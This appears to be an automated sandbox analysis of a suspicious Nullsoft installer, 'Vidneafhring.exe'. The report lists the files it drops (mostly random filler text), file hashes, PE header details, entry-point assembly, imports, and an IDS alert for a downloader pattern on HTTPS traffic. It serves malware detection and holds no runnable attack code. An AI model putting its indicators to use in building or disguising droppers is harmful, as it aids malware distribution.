Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...+.O.B.(...(......J)h.cqE-...R.P.E.R...(..R.@.E.P.IKE.%.Q@..QL..(...(..E.P.IKE0..(..E.P.E.P.E.P.E.P0..(...(...(...(...(...(...(...(...(...(...(.QE..(....QK@.E-%..QK@.E-...R.@.E-...R.P0...P..R.A.QE..QE..(...(...))h....(..R.@.E.P.E.R......E.P.R.E.%....(..@.QE..QE0.(...(...(...(...JZ(.(.....Z(.(...(...(...(..@.QE..QE..QE..QE..QE..QE..R.@.F)h...(...(..E.R......(.....QKE.%.....

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\direktoratsafgrelsen.txt

Download File

Process:	C:\Users\user\Desktop\Vidneafhring.exe
File Type:	Generic INItialization configuration [BLANKFISK LOWERER]
Category:	dropped
Size (bytes):	172
Entropy (8bit):	4.990661037977351
Encrypted:	false
SSDEEP:	3:rzGHsttJqJQMzQOCx1EOdIIAZRsyoM8QdzM4M+nMdu3rigFFK7yvB6/aE8W1n:6sttJ5MMOCIXIfyMYMduWw07QEV
MD5:	4735FE9ECADEF5CC071120B108394AA9
SHA1:	3A508241189EA743AF81BC7F7FFDB0F56A98C379
SHA-256:	D10A5227004DD1B9DEC6FB061B476876CD27F75EB28276358D7767E28E577D96
SHA-512:	04BD0C1377D64631C7A46354EE42EC5F78D30981B39585E4864AE801F09518A3BB381C7763A6E1A83B1155C275BCCB10A563A180FDC0FE452A03768B4697D599
Malicious:	false
Preview:	[FODBADENES RADICALISE]..Fangorn malleabilities nsketnke standardprogrammer,kontoer antikvitets psoriatic..[BLANKFISK LOWERER]..[unknown anlgsprg]..[udringedes stechados]..

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\hoveddirektoriet.txt

Download File

Process:	C:\Users\user\Desktop\Vidneafhring.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	315
Entropy (8bit):	4.424678560987089
Encrypted:	false
SSDEEP:	6:28vAX+6ApYEBalRCVzhBnZg/gf6KFErpL4lEQ44K2tpeKLVmOk8:4aBmo1Bn64f6KFslcEQHK2veWgOk8
MD5:	CD067E892C47D3A961084A6E1239C4E9
SHA1:	9031D91802D302ED770AF10974D0FF62F3CD8526
SHA-256:	2FA371485418FF2048CA084820F5085B6F1DC3E70EC3A334389996049DFDA9B7
SHA-512:	985FFB204A06E94AF149E9F7BB43AE178780F6AEA0E8DC88DCF25E672824A3925354E53D10604597AF82808BE265564E300C53DCA3D997485740BCF94C392C60
Malicious:	false
Preview:	........Bedraped abiturer cumulatively unbelievingness knopskyderi fallation,borland garroter mandatar sejldugspresenning..Bloodstone udkmpende knstrmpers danine pancreaticoduodenal tiltrdelsens,authority uhyrlighed forbrugerbevidste..Totaktsmotorens fremdrog solecizing countrysangerens knappedes somebodyll jask..

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\kemoterapeutiske.txt

Download File

Process:	C:\Users\user\Desktop\Vidneafhring.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	362
Entropy (8bit):	4.874033061382761
Encrypted:	false
SSDEEP:	6:q4zVxvXO/PE0j8covB/g0OKAtMVXZqn64XDP42vRszyN4zVdJRGMMUZe32rNb:5znvXF9YUXO6R1Hw32rNb
MD5:	D77C4985E50230F41BC11A25AE8F8D6A
SHA1:	2C969DA9DCA95FBF9CCF3B5C6F4450F1C59EA7F7
SHA-256:	81CB49F387B8B355F12C75F84B778202EF95EC3D644283BEBDD6747169DBCAC0
SHA-512:	305FF9A075CE05E81AFAF8CB00D5ADE3266D9F6E90EBC8A54F1C7993DB6CAA11E81C80C8F5ADEE56D088D928DCEC99472924045534DC43F8FF39309AC2A5CEBE
Malicious:	false
Preview:	Premunire sermonics portunian wejack destillationskarret absorptionsevnen..Ansgningssum forzinkes drifterne nonderogatoriness phototrophic familieorienteredes yder udtnkning..[HEMATOZOAL HUSHOLDNINGSBUDGETTERNES]........Garnnglet redthroat udvand picas bryggerier pseudobegivenheds katteagtig valentina titanernes programdisketters cubiform..[CHIH SAGSOMRAADE]..

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\necrectomy.txt

Download File

Process:	C:\Users\user\Desktop\Vidneafhring.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	228
Entropy (8bit):	4.337776203962119
Encrypted:	false
SSDEEP:	6:yRIwIOdNwuDmDWuP+bqnuoaJCNPBoug2Sy1roH:yFrD8WuP+Onuoao+y18H
MD5:	8862F782BA053275F8DCA35DA5B39227
SHA1:	99066933FB52F539EB3EC66522502B32460EEDFB
SHA-256:	4D6A2F4CD09A5A760428A3F75DBAB4BE6B3A2B31F95423C29D63622608834355
SHA-512:	65B66B982DE441D1D7A59B24860F8E820BE527CBB5695A8FE219FFCA3779BEC97A012ABFA55A0AEDB885F8711C4E1ACDCFF4CD8DB89330DDD0267AC96151BF0A
Malicious:	false
Preview:	Haplont unconsuming psoralea ribber lbende maaneskinsturene clypeastridea brachystochrone afkorte farisismen domstolsafgrelsen....Recidivs arbejdsmarkedsbaserede enkeltvelse surreale hjlpeteksten scarified audition..............

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\no.aor

Download File

Process:	C:\Users\user\Desktop\Vidneafhring.exe
File Type:	data
Category:	dropped
Size (bytes):	313751
Entropy (8bit):	0.16139965289622307
Encrypted:	false
SSDEEP:	384:e3aTNYcc9tRiLFxwaq6VKwgCQc6JNj2rQQvwPGy0zZcDARanpVQjaFt:6RcQRKGMeTJP+9jRWVHn
MD5:	984CF793FB7C950DA9EA7D029CE159DD
SHA1:	ED25BEE1EBF42C74B966CD3D6BDD103F243C0D03
SHA-256:	1D91942CCCC6B46158A2E1882D23BB61AC2DD8492C1CC97B919A99DBE924FEB2
SHA-512:	C9CC6C5D46002D6DB8796E86F992BF3814F83F23BF916218588402B7D5B85807A5BAFE17AB116CFD11A3C32C750CCABBC9A29EBF7C85590F89A7163878EB3385
Malicious:	false
Preview:	...............................................................(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...............................................................................................................................................................................................v...................'.................................D.........................................................................................................................................................................................................................

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\pixieish.ini

Download File

Process:	C:\Users\user\Desktop\Vidneafhring.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	443
Entropy (8bit):	4.651338777405692
Encrypted:	false
SSDEEP:	12:8aWRbVGq5MMeuKHqanIKV0fKrqZ6ZKHAX0ZOSglZIfJv:8aWt9eWKHqaIKVFeZ6wSZSmSJv
MD5:	C691C80C524F6A0B0C43125E35E87D38
SHA1:	BBFA2EBF564C7B948C87842453E7C4B7C0EF7FF7
SHA-256:	122FECF6B35E9D38025B9515F4163C0642703B92F3D896E023BF5E53DBFA3F0B
SHA-512:	95B5A1155E55CBC2F1992737FE8B0CB0F2234181579609AB25D55D58A55A86DBAA19C245B9B141DF1C6ACD8E7581DBB58ABC8F7854E2F534A8ACA3497C24E1A3
Malicious:	false
Preview:	[NONMOTORIST LIVSLEDE]..womanly inverisimilitude stillingsgrupper lollingly normalness.Zaddikim benzodiazine sels fermorite tilbagetruknes standspersonens deserves leptosyne oolachans..;hierakisk stickling ichneumonology bakkestjernes millpond folkeligheds.Alkoholtyper scomber immobil............udlaendinge forskaane rigsstatistikerne dynamometer.Preopposition boswellize kiras fanatiseringer klausulerne brickbatted leafstalk grafikskrmen..

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\stormcentrumer.ini

Download File

Process:	C:\Users\user\Desktop\Vidneafhring.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.653564654383033
Encrypted:	false
SSDEEP:	3:rBnpMow9efvbja+VrTIOOqAwALxTjJN1AfOCoJjv:ln89EzAwALlFN1qoJjv
MD5:	F1E1041D6AB03B11975DB53031AAD39A
SHA1:	0BBEDE99983D397B7FC7EA04ECEB249C4F4A060D
SHA-256:	D27C02D902A091740F3E04763AC162E9C725B6CB03E7B35041B6CA96A3A42CA6
SHA-512:	C6662CEEFD985FC595332523E38E3FDA480F52CA2EC918C7A930A5C43DBB8147CEE3DAD1ED37937BB19BCB4FE6672207DEB0A60FCDE5C3F8497229BD8861DCE2
Malicious:	false
Preview:	......[WARBLED MIDDAGSLUKNINGS]........;lanis potenseres velare forvaske tilkrselsvejene,entreret sindsoprrendes udskriftsskalaen......

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\transfiguration.vab

Download File

Process:	C:\Users\user\Desktop\Vidneafhring.exe
File Type:	data
Category:	dropped
Size (bytes):	746799
Entropy (8bit):	0.15838215002860886
Encrypted:	false
SSDEEP:	384:QxCrLK2s5ET9FRXUUahYDJ8a2guojFD1oqpovgeujLAAYzToHrCZAqTe2iUQuQJt:DrmEqYDb3TJeRHmxW19Q0c
MD5:	1EE4DDAB4B0749BD0C6BE777D87BDBCA
SHA1:	E53E9F763DC7607637E88F9FAC8478FDFEF1D4A1
SHA-256:	B93831D2CFCB4ECA4D8886BBCE1BCFD158C058A470877D45D6656AA8D0E6F0E6
SHA-512:	99C3D42EB5A160852C40E7CED0FD545B44566E77C0580C16068E879B9C4663142641713DF05E47350523CDF3EF3E148A51E371D5075B106EA79070F1142463F8
Malicious:	false
Preview:	....................................................................................................................................................................N......c............................?......................................'.....}......................................................................................................................................................T..........................................................;..............................._...................................................................................................................................G..........................................................................................................................................................................................................................................................................................................................9.................................................................

C:\Users\user\resuscitant\spegeplse\Begrime150.jpg

Download File

Process:	C:\Users\user\Desktop\Vidneafhring.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 647x94, components 3
Category:	dropped
Size (bytes):	10450
Entropy (8bit):	7.943134321561137
Encrypted:	false
SSDEEP:	192:L9Zg6bsBqfyTYk0UcoEvVB7Kql66B4SchRAGzIGweerPAo:RZgH/moOb7Dl6w1cGGEGweSf
MD5:	234EE92065741A1CBDC30B508F278385
SHA1:	F50EE7A8AADBF3AD63E060517CB304B816906AB7
SHA-256:	B6B8BD44069CC9922BFA4FF3BF396601134AED59F24818C161779FCEF5741248
SHA-512:	91F1C788157A597ADBDF9D0040EFBBAD7E37DDDCA3EC976C688C157176CB341FBF287DECACD4891FF0CC75E8AE9530042A694A9E81A937074C5C8E87A16051E8
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......^...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.._..SI.i_.5...Pp.*Cqj....g.W).4.;....Oa..i'.=...........).mJ.&..?{...%o..0.C..;..@.=s......".K..E..l..A..\...y...F:G...........A...(.`.,..Kt..]-.....[....L..n...&.....[.}..P.\....x..u6.../....Z\|G.Y[..~.x..t....Hsd.e....[....~..Au%.....E..!........V~R..Qm)...k..."DE..p?J..>..vxcxWU.mv>....5..r...'S.....{.m..G....A].=6.4}nP{3c.......DO.u_..#....U&.-&..]

C:\Users\user\resuscitant\spegeplse\Potmeter.Cro252

Download File

Process:	C:\Users\user\Desktop\Vidneafhring.exe
File Type:	data
Category:	dropped
Size (bytes):	315063
Entropy (8bit):	7.618238717543513
Encrypted:	false
SSDEEP:	6144:fEEHPggAO0FgvKHI/X64aasHuFMqcfo7bjm+4IP4tmQtrMygc2yZOp/oGYHgwQ9s:8EogAO0+yHYX6RaslqrzTuKxJyVajb6D
MD5:	E04B0FADF826EF161A82B6AFABB1AAB6
SHA1:	68AC1BCB542954A266705EC0FAF9974C13E8DD89
SHA-256:	C64928014CC5261D1AC1141647A94A0F624EE8B94ACA9E69644AC48B6D40541F
SHA-512:	D0C6BEA1C25D0E807CEF192B0DBD90CB2AA101D81D700283EA549234F3DFFDE5559774174A25A352D8C7286F85139C76769224E3D006F58DF17D06AB602EAA37
Malicious:	false
Preview:	......N..........**.PPPP.SS........................4.....PP....e....]....b........8.....................tt...d...&...................9..e.............G.........................[[..y.k....h.........DDD..LLL......dd....c................y.C."""...............MMM......................f.!!!!!.L....I..........._.\|\|\|.........88...... .................i.................555...V...99.@@.@@@@@@....9..222...O............'.............HHHH....eee....2..Q....................^.....II.````.'''...\..........N.:::.....s......###.....e.........11.......8.u..h............................CC...........................................``.!!!!.jj.............\|.......L..oo.Z............................G..........33.......GGGG..........**....////..........................<<.....qqqqqq..u.......aa.....0.w.........................GG.!.............................?..........m..........................99...........8.....c............G.....+..........................S..jj....................T......... ......NN..

C:\Users\user\resuscitant\spegeplse\Turneringen182.Kub

Download File

Process:	C:\Users\user\Desktop\Vidneafhring.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	111808
Entropy (8bit):	2.666930376270207
Encrypted:	false
SSDEEP:	1536:bS/dod+B8rHMXd7CA6EKfRyTYuLgC/ylweDCboj5Wdr7u9DO+L3:Bd+1yXlpQnkT
MD5:	A4EB53D0FAF8BDF73344ED65BF05C3F9
SHA1:	4CD2A28CACC077962509B0C99271DD21DAC55214
SHA-256:	06EB6DEFF6C33A89FAD1DDB778F53E70C51491B79EC7436015EAB2B1CE089F31
SHA-512:	E182331C104D1AFA106E53E21A3B24A2B12B6E142905B125111CED3C742285C882CEDBBD95EEE5266E005B99BBAE148FFA4450AFDB68BF1BF07F06FDDEF8D460
Malicious:	false
Preview:	00005D000002020007000000000000000000007D00B800002A2A2A0000000000A2A2A2A2A2A200F7000000A200007A00000066660000E30055000000B200969600F9F90000BFBFBF007C7C7C7C7C004B00000000000000000000000000000400210000100000606060606060000000000000000073000D00000000F8F800000000007A7A000000970000B7B700AFAFAF005454540000000000A2A200008A000100C500D80097970000BE0000AE00D6000000EDEDED0000B1009C9C9C00002100B2000000008D002D000000C6C6000000000015150000FC00B0B0000001008686004B4B4B00F80058580000AA00007070700000BEBE000E00F000000000C8000000001717007E7E00BF0000000000BB000000570000A4002000757500C20000000039008E00003E3E00000000005B5B5B5B5B5B000081818100C2C20000002600EDEDED00001B00000000E700AEAEAE00EBEBEBEB00DE00000000F00000006464005353008D009F004E4E00008888002B00CACACACA00B400B0B0B0004949000000B8B80000000032000000005454545400000000000000000202000099990000DA00B1B1000000001A1A1A003E00414100000000004C4C007D7D000000181800262626262626260089006400E50000000000004400F4F4F4F400008F8F8F8F00000000BA0000F70000CA0076003300560000006C

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.793226255795457
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Vidneafhring.exe
File size:	1'105'632 bytes
MD5:	24c3013ee542b77eb416866a4dcdf66e
SHA1:	3d9ae42b17acc38c9f8425124ddc7fdc7fbde6c0
SHA256:	f13819d061e77a6a071a72f23e5daa4751db395492773280bd8e6285f0942e84
SHA512:	0694c1b57c5e0fab3218719f195632ad6a519312f812056d05d87da7e455aae4fd2f370b1d4d057798f328f2f218ac396b9b496a71614139dbb5248242993b45
SSDEEP:	24576:ZSafgu8S1aLLwWOroUmLDbZ7Jjl7WqDs3Ryo:ZlfguN1GLwWObSFhWquRh
TLSH:	FC3522F2BB6468F5DB20873E346B9D5A56B1BE7138F41B963B9C3B1D2E72021430B145
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.w.F......F...v...F...@...F.Rich..F.........PE..L....C.f.................d...........3............@

File Icon


Icon Hash:	0c39c3e64e31275c

Static PE Info

General

Entrypoint:	0x4033a2
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x660843F1 [Sat Mar 30 16:55:13 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	671f2a1f8aee14d336bab98fea93d734

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Thoracostracan, E=Bespout@Multifunktionsko.Nom, O=Thoracostracan, L=Ebertshausen, OU="Unavailed Ekspansion ", S=Rheinland-Pfalz, C=DE
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	15/04/2024 08:05:15 15/04/2025 08:05:15
Subject Chain	CN=Thoracostracan, E=Bespout@Multifunktionsko.Nom, O=Thoracostracan, L=Ebertshausen, OU="Unavailed Ekspansion ", S=Rheinland-Pfalz, C=DE
Version:	3
Thumbprint MD5:	DD9EBB3BFB3B1156CC05C41B422AFC8C
Thumbprint SHA-1:	5DF35858C6DC9F7C2928970106D0C8497E7C90A8
Thumbprint SHA-256:	02B623A8BC3698EA20679DF6198E7DBA9FB65FA99CB1E76BEA7EDB8A9CAA53C6
Serial:	21F75D39F9361BA117D671CB49E2548FD7161DBB

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000224h
push esi
push edi
xor edi, edi
push 00008001h
mov dword ptr [ebp-14h], edi
mov dword ptr [ebp-0Ch], 0040A188h
mov dword ptr [ebp-08h], edi
mov byte ptr [ebp-04h], 00000020h
call dword ptr [0040809Ch]
mov esi, dword ptr [004080A0h]
lea eax, dword ptr [ebp-000000C4h]
push eax
mov dword ptr [ebp-000000B0h], edi
mov dword ptr [ebp-30h], edi
mov dword ptr [ebp-2Ch], edi
mov dword ptr [ebp-000000C4h], 0000009Ch
call esi
test eax, eax
jne 00007FC418C1C4B1h
lea eax, dword ptr [ebp-000000C4h]
mov dword ptr [ebp-000000C4h], 00000094h
push eax
call esi
cmp dword ptr [ebp-000000B4h], 02h
jne 00007FC418C1C49Ch
movsx cx, byte ptr [ebp-000000A3h]
mov al, byte ptr [ebp-000000B0h]
sub ecx, 30h
sub al, 53h
mov byte ptr [ebp-2Ah], 00000004h
neg al
sbb eax, eax
not eax
and eax, ecx
mov word ptr [ebp-30h], ax
cmp dword ptr [ebp-000000B4h], 02h
jnc 00007FC418C1C494h
and byte ptr [ebp-2Ah], 00000000h
cmp byte ptr [ebp-000000AFh], 00000041h
jl 00007FC418C1C483h
movsx ax, byte ptr [ebp-000000AFh]
sub eax, 40h
mov word ptr [ebp-30h], ax
jmp 00007FC418C1C476h
mov word ptr [ebp-30h], di
cmp dword ptr [ebp-000000C0h], 0Ah
jnc 00007FC418C1C47Ah
and word ptr [ebp+00000000h], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8430	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x49000	0x28570	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x10d028	0xeb8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x294	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x628a	0x6400	c4a2423b5674bfa0f784f8a541b55665	False	0.6612109375	data	6.390159547186612	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1234	0x1400	d169790bd6b8e7821b264cddc934c496	False	0.4265625	data	5.032486821165516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x1a438	0x400	c8ea57e3d910ccbc8ce8b96488c46e9b	False	0.6474609375	data	5.255785049642427	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x25000	0x24000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x49000	0x28570	0x28600	3a505d8e93dd6ec23ac8b59005e755df	False	0.46901606037151705	data	5.340542879000782	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x49388	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.38218679758665564
RT_ICON	0x59bb0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.5192085347908345
RT_ICON	0x63058	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.55318853974122
RT_ICON	0x684e0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.5208431743032593
RT_ICON	0x6c708	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.6046680497925311
RT_ICON	0x6ecb0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6151500938086304
RT_ICON	0x6fd58	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6758196721311476
RT_ICON	0x706e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7349290780141844
RT_DIALOG	0x70b48	0xb8	data	English	United States	0.6467391304347826
RT_DIALOG	0x70c00	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x70d48	0x100	data	English	United States	0.5234375
RT_DIALOG	0x70e48	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x70f68	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x70fc8	0x76	data	English	United States	0.7457627118644068
RT_VERSION	0x71040	0x29c	data	English	United States	0.5104790419161677
RT_MANIFEST	0x712e0	0x290	XML 1.0 document, ASCII text, with very long lines (656), with no line terminators	English	United States	0.5625

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueA, RegEnumKeyA, RegQueryValueExA, RegSetValueExA, RegCloseKey, RegDeleteValueA, RegDeleteKeyA, AdjustTokenPrivileges, LookupPrivilegeValueA, OpenProcessToken, RegOpenKeyExA, RegCreateKeyExA
SHELL32.dll	SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, SHFileOperationA, ShellExecuteExA
ole32.dll	OleUninitialize, OleInitialize, IIDFromString, CoCreateInstance, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	SetDlgItemTextA, GetSystemMetrics, CreatePopupMenu, AppendMenuA, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcA, GetMessagePos, CheckDlgButton, LoadCursorA, SetCursor, GetSysColor, SetWindowPos, GetWindowLongA, IsWindowEnabled, SetClassLongA, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetDlgItemTextA, DialogBoxParamA, CharNextA, ExitWindowsEx, DestroyWindow, CreateDialogParamA, SetTimer, SetWindowTextA, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfA, SendMessageTimeoutA, FindWindowExA, IsWindow, GetDlgItem, SetWindowLongA, LoadImageA, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndPaint, MessageBoxIndirectA, CharPrevA, PeekMessageA, GetClassInfoA, DispatchMessageA, TrackPopupMenu
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectA, SetBkMode, SetTextColor
KERNEL32.dll	CreateFileA, GetTempFileNameA, ReadFile, RemoveDirectoryA, CreateProcessA, CreateDirectoryA, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceA, lstrcpynA, SetErrorMode, GetVersionExA, lstrlenA, GetCommandLineA, GetTempPathA, GetWindowsDirectoryA, WriteFile, ExitProcess, CopyFileA, GetCurrentProcess, GetModuleFileNameA, GetFileSize, GetTickCount, Sleep, SetFileAttributesA, GetFileAttributesA, SetCurrentDirectoryA, MoveFileA, GetFullPathNameA, GetShortPathNameA, SearchPathA, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiA, lstrcmpA, ExpandEnvironmentStringsA, GlobalFree, GlobalAlloc, GetModuleHandleA, LoadLibraryExA, FreeLibrary, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, SetFilePointer, FindClose, FindNextFileA, FindFirstFileA, DeleteFileA, MulDiv, lstrcpyA, MoveFileExA, lstrcatA, WideCharToMultiByte, GetSystemDirectoryA, GetProcAddress, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableA

Version Infos

Description	Data
Comments	plainchant untakeableness demidome
FileVersion	3.4.0.0
LegalTrademarks	bunkerman antimere conchyliferous
OriginalFilename	virkelighedssansen.exe
ProductName	ceratorhine
ProductVersion	3.4.0.0
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-19T20:37:23.879546+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49976	142.250.185.78	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 19, 2025 20:37:22.549381971 CET	49976	443	192.168.2.8	142.250.185.78
Feb 19, 2025 20:37:22.549443960 CET	443	49976	142.250.185.78	192.168.2.8
Feb 19, 2025 20:37:22.549519062 CET	49976	443	192.168.2.8	142.250.185.78
Feb 19, 2025 20:37:22.562808037 CET	49976	443	192.168.2.8	142.250.185.78
Feb 19, 2025 20:37:22.562825918 CET	443	49976	142.250.185.78	192.168.2.8
Feb 19, 2025 20:37:23.250965118 CET	443	49976	142.250.185.78	192.168.2.8
Feb 19, 2025 20:37:23.251126051 CET	49976	443	192.168.2.8	142.250.185.78
Feb 19, 2025 20:37:23.251729012 CET	443	49976	142.250.185.78	192.168.2.8
Feb 19, 2025 20:37:23.251890898 CET	49976	443	192.168.2.8	142.250.185.78
Feb 19, 2025 20:37:23.317497015 CET	49976	443	192.168.2.8	142.250.185.78
Feb 19, 2025 20:37:23.317560911 CET	443	49976	142.250.185.78	192.168.2.8
Feb 19, 2025 20:37:23.318526983 CET	443	49976	142.250.185.78	192.168.2.8
Feb 19, 2025 20:37:23.318607092 CET	49976	443	192.168.2.8	142.250.185.78
Feb 19, 2025 20:37:23.322078943 CET	49976	443	192.168.2.8	142.250.185.78
Feb 19, 2025 20:37:23.367328882 CET	443	49976	142.250.185.78	192.168.2.8
Feb 19, 2025 20:37:23.879637003 CET	443	49976	142.250.185.78	192.168.2.8
Feb 19, 2025 20:37:23.879867077 CET	443	49976	142.250.185.78	192.168.2.8
Feb 19, 2025 20:37:23.879868984 CET	49976	443	192.168.2.8	142.250.185.78
Feb 19, 2025 20:37:23.879945993 CET	49976	443	192.168.2.8	142.250.185.78
Feb 19, 2025 20:37:23.881475925 CET	49976	443	192.168.2.8	142.250.185.78
Feb 19, 2025 20:37:23.881519079 CET	443	49976	142.250.185.78	192.168.2.8
Feb 19, 2025 20:37:23.906352997 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:23.906399012 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:23.906483889 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:23.906805992 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:23.906822920 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:24.549833059 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:24.549937963 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:24.554984093 CET	49977	443	192.168.2.8	216.58.206.33
